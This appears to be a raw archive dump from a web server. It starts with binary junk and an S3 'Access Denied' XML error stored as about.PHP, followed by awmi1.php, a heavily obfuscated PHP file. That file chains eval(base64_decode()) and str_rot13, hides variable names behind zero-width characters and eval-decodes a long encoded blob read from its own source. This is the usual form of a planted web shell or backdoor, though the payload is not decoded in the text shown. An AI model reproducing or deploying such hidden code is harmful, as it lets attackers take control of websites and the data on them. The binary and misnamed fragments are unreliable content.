]§a%œpy»ï`Qdßxcÿ Ôå—îƒõ”n·ë	Îú*ŒoTd‚;'já<¬!jÐæ‚'æ‡(~äÍ´WÑM  PÛmȘ¼Ç@Ö¨V+Rž`ú$äŠ`Œ+@êèµ_[ÅkG™ïÞ‡PçëÞZh9¸R«àëƒ&5bò‚vµ±ÀZû‘•#p”&ýÔ±+½•8’etZ7GËüó;§ì¥@"Óe0ŠØçv7ƒ¼¨?À±zÌ?_Òô‡_äq1ÜT€"üpÀËŽ/U
6׌_‚Bî¶>ÆŒ0(	ó‡Ð}G#­ž‹›ÜÅÈ¢×pô	¼9¶É;/&
`¥B&$è¼y÷t(¶*zÒxàƒðӔޱ¨„àšSö?Kȏ3Ûö•{pé	b
	ۍ-Èz܈֦à6?<ûú›Ç¬P°NÀG
àæ›´÷
÷6ˆ/h»£ž„á0Z¡‚…øŠž”ÁçiÁuaØøe‚*M'A©
“xª¬v¢q.>’F­
oN{°ØQ”ã«{gDžüLñð³u‘=|æð¡ëO
xNËÉ¿díž´q“8(ëÛEèUu‹Ó,ˆîO©
t±DJ	±å­ÃÓ;×á†G°˜’†e©’¿CàÃVYZßõ
¡÷—T4{ßìÀÔ(€Ó²'cÕtŠf Èw“c—jrÝeÞ³Ûm
»#7,ë6ÝàBâE4QˆP».PÕ(&’±^{9H-ÖmÑo
àåqßg1À€ð=™á²>pœ)/"p0!4Þm‚S6ú´FN¨¦h½ÌD
¤)¶äXdT
‚FؤZ⸚€k àòùHéc8vö	<¸§ÐuœP‰Õ€ü°ô:ÃÄ_ØEN°á|€Ó›‘îu?-â/¦oöL hkÏܸ ”S¦;îRÄ«¹»€è¤T"ûN¡©åM¾px7<ÎÀ j$µÒ`ƒY)Pjh
5`
K‹Q f‘4Cæ­bX"ƒD¤›Ž;HDáZß9R b¡F)ËUAÔŒ¬ƒvù#„H DÇ!{•²ïåäË>I¯
“`áԁ
i¯4Ü)t*öçÇLe¥_؍‡>ru­GEQg±®Ç”ct›Ñō0®Úl6væÚdÏô
  ªGG8ïÆév^º|˜#JyZPSOÀà®
Y—CuAߐÁ"€xž„è™OfHF@‰KÈVš!å°‘EÒ•]h˜
¤‘[ö—¶)Ć.qàËßð*0I<8Á»^Ë6½}p” ^thoõ‚ži g²iÍÚ¬ÛDKˆŽìp, íÍ2­3ÂIÀá5åÃù‚ì“„OYë6s7Qs¥Ow^±w‘J/›Aâž°ÆžŽŸ€0ù©§ƒ€ðg(Õ„¬ÅyÔÄKÔ‡°ÛõÀQS³?HÃóÙwáX=æ¿ ÈÒžXú~‘…ÓQ=¢'ñøÐp?7Œ@gó~œG­}Œr“àgèT?‡ÿÙ

about.PHP000064400000000423151550052240006225 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>MRBFYHSWKNWDZY6V</RequestId><HostId>dJ8xLNyGwc+d5GbUae0ZpSNMfojOQlKiMQlv3JCZKL3IS8x/B/rWN4N64NCSH4/q7S4R2KzONraTbMyUmGTQSPCHisi/o7raoVOQojynNwo=</HostId></Error>awmi1.php000064400001237231151550052240006303 0ustar00<?php
$__FILE__ = __FILE__;
$__DIR__ = __DIR__;
eval(base64_decode('JOKAjmJjcmFmZnlfcXJwZWxjZ+KAjuKAjiA9IHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCdabWRsWDJWaVp6RXonKSk7'));
eval(base64_decode('JOKAjm9uZnI2NF9xcnBicXLigI7igI7igI7igI4gPSBzdHJfcm90MTMoYmFzZTY0X2RlY29kZSgnYjI1bWNqWTBYM0Z5Y0dKeGNnPT0nKSk7'));

eval(base64_decode('JOKAjmZnZV9lYmcxM+KAjuKAjuKAjuKAjuKAjiA9ICdjblZ1WDJOdlpHVT0nOw=='));
eval(base64_decode('JOKAjmVoYV9wYnFy4oCO4oCO4oCO4oCO4oCO4oCO4oCOID0gYmFzZTY0X2RlY29kZSgnYjNCbGJuTnpiRjlrWldOeWVYQjAnKTs='));
preg_match($‎bcraffy_qrpelcg‎‎($‎onfr64_qrpbqr‎‎‎‎('L1xbQ1VDeGJlaF9QYnFyXF0oLio/KVxbXC9DVUN4YmVoX1BicXJcXS9m')), file_get_contents(__FILE__), $CUCxbeh_z);
eval($‎onfr64_qrpbqr‎‎‎‎($‎bcraffy_qrpelcg‎‎('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